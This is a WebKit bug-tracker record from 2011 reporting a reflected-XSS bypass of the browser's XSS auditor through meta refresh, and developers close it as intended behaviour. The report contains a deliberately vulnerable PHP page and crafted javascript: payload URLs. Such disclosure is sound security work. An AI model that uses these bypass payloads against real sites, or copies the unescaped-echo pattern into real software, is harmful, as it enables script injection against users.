<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>67091</bug_id>
          
          <creation_ts>2011-08-27 13:30:16 -0700</creation_ts>
          <short_desc>XSS auditor bypass with http-equiv=&quot;refresh&quot;</short_desc>
          <delta_ts>2011-08-29 12:16:57 -0700</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>WebKit Misc.</component>
          <version>528+ (Nightly build)</version>
          <rep_platform>Unspecified</rep_platform>
          <op_sys>Unspecified</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>WONTFIX</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords></keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          <blocked>66579</blocked>
          <everconfirmed>1</everconfirmed>
          <reporter name="Adam Barth">abarth</reporter>
          <assigned_to name="Nobody">webkit-unassigned</assigned_to>
          <cc>ap</cc>
    
    <cc>dbates</cc>
    
    <cc>tsepez</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>457982</commentid>
    <comment_count>0</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-08-27 13:30:16 -0700</bug_when>
    <thetext>http://code.google.com/p/chromium/issues/detail?id=94482


Reported by j.terh...@gmail.com, Today (4 hours ago)
VULNERABILITY DETAILS
A basic reflected XSS, using the &lt;meta http-equiv=&quot;refresh&quot; /&gt; vector, is allowed by the XSS filter.

VERSION
Chrome Version: 13.0.782.215 m + stable
Operating System: Windows NT 5.1 build 2600 (Windows XP Home Edition Service Pack 3) i586

REPRODUCTION CASE
Place the attached php file in a web accessible directory of a php enabled apache server at http://&lt;host&gt;/xss.php and call:
http://&lt;host&gt;/xss.php?refresh=javascript:alert(1)

The alert is shown and no blocking message is posted to the console. However the call:
http://&lt;host&gt;/xss.php?body=%3Cscript%3Ealert(1)%3C/script%3E 

_is_ blocked and the usual blocking message (&quot;Refused to execute a JavaScript script. Source code of script found within request.&quot;) is posted to the console. See screenshots refresh.jpg and basic.jpg.

ADDITIONAL:
If line 4 of the php script is changed to:
echo &quot;&lt;meta http-equiv=&apos;refresh&apos; content=&apos;0; url=javascript:{$_GET[&apos;refresh&apos;]}&apos; /&gt;&quot;;

the filter will also miss the reflected XSS if called as follows: 
http://&lt;host&gt;/xss.php?refresh=alert(1)

Also if line 4 is changed to:
echo &quot;&lt;meta http-equiv=&apos;refresh&apos; {$_GET[&apos;refresh&apos;]} /&gt;&quot;;

and called using:
http://&lt;host&gt;/xss.php?refresh=content=%220;%20url=javascript:alert(1)%22

the XSS is also allowed. _However_ if line 4 is changed to:
echo &quot;&lt;meta {$_GET[&apos;refresh&apos;]} /&gt;&quot;;

and the call:
http://&lt;host&gt;/xss.php?refresh=http-equiv=%22refresh%22%20content=%220;%20url=javascript:alert(1)%22

is made, the filter WILL detect the XSS (see screenshot refresh2.jpg)

PHP Version: 5.3.5
Apache: Apache/2.2.17 (Win32) compiled with MSVC6


&lt;html&gt;
&lt;?php
        if( isset($_GET[&apos;refresh&apos;]) ) {
                //echo &quot;&lt;meta http-equiv=&apos;refresh&apos; content=&apos;0; url={$_GET[&apos;refresh&apos;]}&apos; /&gt;&quot;;
                echo &quot;&lt;meta http-equiv=&apos;refresh&apos; {$_GET[&apos;refresh&apos;]} /&gt;&quot;;
                //echo &quot;&lt;meta http-equiv=&apos;refresh&apos; content=&apos;0; url=javascript:{$_GET[&apos;refresh&apos;]}&apos; /&gt;&quot;;
        }
?&gt;
&lt;body&gt;
&lt;?php
        if( isset($_GET[&apos;body&apos;]) ) {
                echo $_GET[&apos;body&apos;];
        }
?&gt;
&lt;/body&gt;
&lt;/html&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>458278</commentid>
    <comment_count>1</comment_count>
    <who name="Thomas Sepez">tsepez</who>
    <bug_when>2011-08-29 10:40:47 -0700</bug_when>
    <thetext>&lt;meta&gt; refresh to &quot;javascript:&quot; seems dubious.  Can we measure how often this occurs in the wild?  Might be best to just block it using a mechanism other than XSSAuditor.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>458348</commentid>
    <comment_count>2</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-08-29 12:15:20 -0700</bug_when>
    <thetext>Does meta-refresh to a JavaScript URL work in other browsers?  It seems there couple be a compat issue with just removing it.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>458349</commentid>
    <comment_count>3</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-08-29 12:16:57 -0700</bug_when>
    <thetext>Actually, this is working as intended.  The bypass is only occurring when the injection is in the context of the refresh itself, which isn&apos;t something we&apos;re trying to stop.</thetext>
  </long_desc>
      
      

    </bug>

</bugzilla>